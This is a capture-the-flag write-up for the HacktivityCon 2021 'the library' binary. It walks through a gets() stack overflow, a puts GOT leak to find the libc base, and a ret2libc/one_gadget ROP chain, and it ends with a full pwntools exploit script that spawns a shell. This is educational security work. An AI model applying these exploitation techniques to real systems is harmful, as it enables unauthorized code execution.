> For the complete documentation index, see [llms.txt](https://0xten.gitbook.io/public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xten.gitbook.io/public/hacktivitycon/2021/the-library.md).

# the library

## Files

{% embed url="<https://github.com/0xTen/CTFs/tree/main/hacktivitycon/2021/the_library>" %}

## The binary

![](/files/-Mk58UUB77AZ37fEzJKn)

The program asks you to guess what book it is thinking about.

## Buffer Overflow

![](/files/-Mk59wul-y2v3X_C4IlV)

The input is copied with gets to a 520 bytes long buffer, so we have yet another stack buffer overflow. To get the exact offset I used gdb:

![](/files/-Mk5AmE__mdMUu1divvr)

![](/files/-Mk5At8JOjXnO4bq3r9w)

![](/files/-Mk5Az4OiGnW8uWgbVQ9)

## Ret2libc

If you are not used to that concept, the post bellow might help:

{% content-ref url="/pages/-MZIYI2yORsbP5cQc146" %}
[x64 ret2libc](/public/pwn/rop/x64-ret2libc.md)
{% endcontent-ref %}

To leak libc base we can use rop gadgets to call puts passing a got address as argument.

```python
#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

io = remote('challenge.ctf.games', 31125)

rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])

io.recvrepeat(0.03)
io.sendline(rop)

io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
```

After leaking the libc base, it all comes down to calculate the base offset to other gadgets such as system() or a one gadget. A neat way to fly through rop challenges is to just use pwntools.

```python
libc_rop = ROP(libc)
libc_rop.execve(next(libc.search(b'/bin/sh')), 0, 0)

rop = 552*'A'
rop += libc_rop.chain()
io.sendline(rop)

io.interactive()
```

Although, if you are trying to learn about rop I think you should try to manually craft a rop chain, one way of doing it in the challenge is using a one gadget.

![](/files/-Mk5DUMq1e9s_MKwKhwf)

A few are available but we would have to set some registers to NULL.

![](/files/-Mk5DfqWFOJZ3K2tzqO0)

In this case, r15 is already 0 when our payload is executed, so setting either rsi, rdx or r12 to 0 should get our one gadget to work.

![](/files/-Mk5EBxNTcKMc41wZaVZ)

This gadget should do it.

```python
rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget
```

## Final exploit

```python
#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games', 31125)
else:
    io = process(e.path)

rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])

io.recvrepeat(0.03)
io.sendline(rop)

io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
log.success('Libc: ' + hex(libc.address))

rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget

io.sendline(rop)

io.interactive()
```
